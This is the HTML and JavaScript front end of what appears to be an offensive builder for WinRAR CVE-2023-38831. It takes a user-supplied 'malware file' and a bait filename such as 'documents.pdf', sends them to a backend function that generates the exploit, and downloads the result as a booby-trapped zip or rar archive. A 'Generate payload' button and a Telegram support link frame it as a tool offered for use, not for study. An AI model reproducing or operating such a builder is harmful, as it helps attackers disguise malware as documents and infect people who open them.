<!DOCTYPE html>
<html>
    <head>
        <title>WinRar CVE-2023-38831</title>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="icon" type="image/png" href="images/exploit-logo.ico"/>
        <!-- Libs -->
        <script type="text/javascript" src="/eel.js"></script>
        <link rel="stylesheet" href="lib/css/uikit.min.css"/>
        <link rel="stylesheet" href="lib/css/builder.css"/>
        <script src="lib/js/uikit.min.js"></script>
        <script src="lib/js/WS_script.js"></script>
        <script src="lib/js/iconify-icon.min.js"></script>
    </head>
    <body>
        
        <!-- Style -->
        <style>
            .nav-el {
                margin-top: 18px;
                cursor: pointer;
            }
            .nav-el > p > iconify-icon {
                position: relative;
                top: 7px !important;
                font-size: 24px;
            }
        </style>

        <!-- Script -->
        <script>

            function onFileSelected() {
                let fileName = document.getElementById('malware_file').files[0].name;
                document.getElementById('selectFileButton').innerText = fileName;
            }

            async function generate() {
                let malwareFile = document.getElementById('malware_file');
                let malwareFilename = malwareFile.value;
                // Verify malware name
                if (malwareFilename.length == 0 || !malwareFilename.includes('.')) {
                    notification('Please select malware file', 'material-symbols:warning', 5000);
                    return;
                }
                let baitName = document.getElementById('fake_file').value;
                // Verify bait name
                if (baitName.length == 0 || !baitName.includes('.')) {
                    notification('Please enter correct bait filename', 'material-symbols:warning', 5000);
                    return;
                }
                // Get malware extension
                let splitPath = malwareFilename.split('\\');
                let malwareExtension = splitPath[splitPath.length - 1].split('.')[1];
                // Output
                let outputExtension = document.getElementById('output_extension').value;
                let base64Malware = await streamToBase64(malwareFile.files[0].stream());
                // Generate
                let response = await eel.backend_generate_winrar_exploit(baitName, malwareExtension, base64Malware)();
                // Download
                downloadFile('exploit.' + outputExtension, response);
            }

        </script>

        <!-- Navigation -->
        <nav class="uk-navbar-container" uk-navbar="align: center">
            <div class="uk-navbar">
                <ul class="uk-navbar-nav">
                    <li>
                        <img width="64" height="64" src="images/logo.png" alt="Logo">
                        <p id="project_name" class="uk-label" style="font-size: 20px; font-family: monospace;"></p>
                    </li>
                    <li class="nav-el">
                        <p onclick='window.open(supportUrl);'>
                            <iconify-icon icon="ic:baseline-telegram"></iconify-icon> 
                            Support
                            <iconify-icon style="color: rgb(21, 174, 21);" icon="svg-spinners:pulse-2"></iconify-icon>
                        </p>
                    </li>
                </ul>
            </div>
        </nav>

        <div class="uk-card uk-card-default uk-card-body">
            <!-- URL -->
            <label for="malware_file">
                Please select executable file
                <div class="js-upload" style="display: inline-flex; width: 100%;" uk-form-custom>
                    <input type="file" id="malware_file" onchange="onFileSelected();">
                    <button id="selectFileButton" class="uk-button uk-button-default" type="button" tabindex="-1" style="width: 100%;">Select file</button>
                </div>
            </label>
            <!-- Description -->
            <label for="fake_file">
                Fake filename (Bait)
                <input id="fake_file" class="uk-input" type="text" placeholder="Bait filename" value="documents.pdf" aria-label="">
            </label>

            <!-- Target extension -->
            <label for="output_extension">
                Output archive extension (Supported WinRar version is before v6.23)
                <div style="display: inline-flex; width: 100%;">
                    <select id="output_extension" class="uk-select">
                        <option value="zip" selected>Zip</option>
                        <option value="rar" >Rar</option>
                    </select>
                </div>
            </label>


            <!-- Submit -->
            <button class="uk-button uk-button-primary" type="button" onclick="generate();">
                <iconify-icon icon="mdi:virus"></iconify-icon> Generate payload
            </button>

        </div>

    </body>
</html>